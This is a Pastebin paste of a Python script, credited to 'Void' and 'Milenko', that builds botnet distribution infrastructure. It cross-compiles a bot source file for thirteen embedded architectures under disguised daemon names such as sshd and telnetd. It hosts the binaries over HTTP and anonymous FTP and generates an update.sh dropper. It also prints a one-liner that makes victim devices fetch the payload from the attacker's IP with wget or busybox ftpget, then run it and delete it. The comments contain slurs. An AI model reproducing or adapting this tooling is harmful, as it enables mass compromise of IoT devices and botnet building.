KekSec

cc6.6.6.py Cross Compiler busybox added by The Great Milenko

Mar 14th, 2017
804
0
Never
1
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 5.92 KB | None | 0 0
  1. #Python auto cross compiler by void, de shitified and busybox added by Milenko
  2. #Void was a fucking skid.
  3.  
  4. import subprocess, sys
  5.  
  6. if len(sys.argv[2]) != 0:
  7.     ip = sys.argv[2]
  8. else:
  9.     print("\x1b[0;31mIncorrect Usage!")
  10.     print("\x1b[0;32mUsage: python " + sys.argv[0] + " <BOTNAME.C> <IPADDR> \x1b[0m")
  11.     exit(1)
  12.    
  13. bot = sys.argv[1]
  14.  
  15. yourafag = raw_input("Get arch's? Y/n:")
  16. if yourafag.lower() == "y":
  17.     get_arch = True
  18. else:
  19.     get_arch = False
  20.  
  21. compileas = ["ntpd", #mips
  22.              "sshd", #mipsel
  23.              "openssh", #sh4
  24.              "bash", #x86
  25.              "tftp", #Armv6l
  26.              "wget", #i686
  27.              "cron", #ppc
  28.              "ftp", #i586
  29.              "pftp", #m68k
  30.              "sh", #sparc
  31.              "watchdog", #arm4l
  32.              "apache2", #arm5l
  33.              "telnetd"] #powerpc-440fp
  34.  
  35. getarch = ['http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2',
  36. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2',
  37. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2',
  38. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-x86_64.tar.bz2',
  39. 'http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2',
  40. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i686.tar.bz2',
  41. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2',
  42. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2',
  43. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2',
  44. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2',
  45. 'https://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2',
  46. 'https://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv5l.tar.bz2',
  47. 'https://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc-440fp.tar.bz2']
  48.  
  49. ccs = ["cross-compiler-mips",
  50.        "cross-compiler-mipsel",
  51.        "cross-compiler-sh4",
  52.        "cross-compiler-x86_64",
  53.        "cross-compiler-armv6l",
  54.        "cross-compiler-i686",
  55.        "cross-compiler-powerpc",
  56.        "cross-compiler-i586",
  57.        "cross-compiler-m68k",
  58.        "cross-compiler-sparc",
  59.        "cross-compiler-armv4l",
  60.        "cross-compiler-armv5l",
  61.        "cross-compiler-powerpc-440fp"]
  62.  
  63. def run(cmd):
  64.     subprocess.call(cmd, shell=True)
  65.  
  66. run("rm -rf /var/www/html/* /var/ftp/*")
  67.  
  68. if get_arch == True:
  69.     run("rm -rf cross-compiler-*")
  70.  
  71.     print("Downloading Architectures")
  72.  
  73.     for arch in getarch:
  74.         run("wget " + arch + " --no-check-certificate >> /dev/null")
  75.         run("tar -xvf *tar.bz2")
  76.         run("rm -rf *tar.bz2")
  77.  
  78.     print("Cross Compilers Downloaded...")
  79.  
  80. num = 0
  81. for cc in ccs:
  82.     arch = cc.split("-")[2]
  83.     run("./"+cc+"/bin/"+arch+"-gcc -static -pthread -D" + arch.upper() + " -o " + compileas[num] + " " + bot + " > /dev/null")
  84.     num += 1
  85.  
  86. print("Cross Compiling Done!")
  87. print("Setting up lighttpd and vsftp...")
  88.  
  89. run("yum install lighttpd -y; apt-get install lighttpd -y")
  90. run("/etc/init.d/lighttpd start")
  91. run("yum install vsftpd -y; apt-get install vsftpd -y")
  92. run("/etc/init.d/vsftpd start")
  93.  
  94. run('''echo -e "listen=YES
  95. local_enable=NO
  96. anonymous_enable=YES
  97. write_enable=NO
  98. anon_root=/var/ftp
  99. anon_max_rate=2048000
  100. xferlog_enable=YES
  101. listen_address='''+ ip +'''
  102. listen_port=21" > /etc/vsftpd/vsftpd-anon.conf''')
  103. run("/etc/init.d/vsftpd restart")
  104.  
  105. for i in compileas:
  106.     run("cp " + i + " /var/www/html")
  107.  
  108. for i in compileas:
  109.     run('echo -e "cd /tmp || cd /var/run || cd /mnt || cd /root || cd / || busybox cd /tmp || busybox cd /var/run || busybox cd /mnt || busybox cd /root || busybox cd / || /bin/busybox cd /tmp || /bin/busybox cd /var/run || /bin/busybox cd /mnt || /bin/busybox cd /root || /bin/busybox cd / || /usr/busybox cd /tmp || /usr/busybox cd /var/run || /usr/busybox cd /mnt || /usr/busybox cd /root || /usr/busybox cd /; wget http://' + ip + '/' + i + '; busybox wget http://' + ip + '/' + i + '; /bin/busybox wget http://' + ip + '/' + i + '; /usr/busybox wget http://' + ip + '/' + i + '; ftpget -v -u anonymous -p anonymous -P 21 0.0.0.0 ' + i + ' ' + i + '; busybox ftpget -v -u anonymous -p anonymous -P 21 0.0.0.0 ' + i + ' ' + i + '; /bin/busybox ftpget -v -u anonymous -p anonymous -P 21 0.0.0.0 ' + i + ' ' + i + '; /usr/busybox ftpget -v -u anonymous -p anonymous -P 21 0.0.0.0 ' + i + ' ' + i + '; chmod 777 ' + i + '; busybox chmod 777 ' + i + '; /bin/busybox chmod 777 ' + i + '; /usr/busybox chmod 777 ' + i + '; ./' + i + '; rm -rf ' + i + '; busybox rm -rf ' + i + '; /bin/busybox rm -rf ' + i + '; /usr/busybox rm -rf ' + i + '" >> /var/www/html/update.sh')
  110.    
  111. run('echo ulimit -n 99999> ~/.bashrc')
  112. print("\x1b[0;32mtSuccessfully cross compiled!\x1b[0m")
  113. print("\x1b[0;32mYour link: cd /tmp || cd /var/run || cd /mnt || cd /root || cd / || busybox cd /tmp || busybox cd /var/run || busybox cd /mnt || busybox cd /root || busybox cd / || /bin/busybox cd /tmp || /bin/busybox cd /var/run || /bin/busybox cd /mnt || /bin/busybox cd /root || /bin/busybox cd / || /usr/busybox cd /tmp || /usr/busybox cd /var/run || /usr/busybox cd /mnt || /usr/busybox cd /root || /usr/busybox cd /; wget http://' + ip + '/update.sh; busybox wget http://' + ip + '/update.sh; /bin/busybox wget http://' + ip + '/update.sh; /usr/busybox wget http://' + ip + '/update.sh; ftpget -v -u anonymous -p anonymous -P 21 0.0.0.0 update.sh update.sh; busybox ftpget -v -u anonymous -p anonymous -P 21 0.0.0.0 update.sh update.sh; /bin/busybox ftpget -v -u anonymous -p anonymous -P 21 0.0.0.0 update.sh update.sh; /usr/busybox ftpget -v -u anonymous -p anonymous -P 21 0.0.0.0 update.sh update.sh; chmod 777 update.sh; busybox chmod 777 update.sh; /bin/busybox chmod 777 update.sh; /usr/busybox chmod 777 update.sh; ./update.sh; rm -rf update.sh; busybox rm -rf update.sh; /bin/busybox rm -rf update.sh; /usr/busybox rm -rf update.sh\x1b[0m")
  114. print
  115. print("\x1b[0;32mCoded By Void, busybox added by Milenko aka Freak\x1b[0m")
Advertisement
Comments
  • User was banned
Add Comment
Please, Sign In to add comment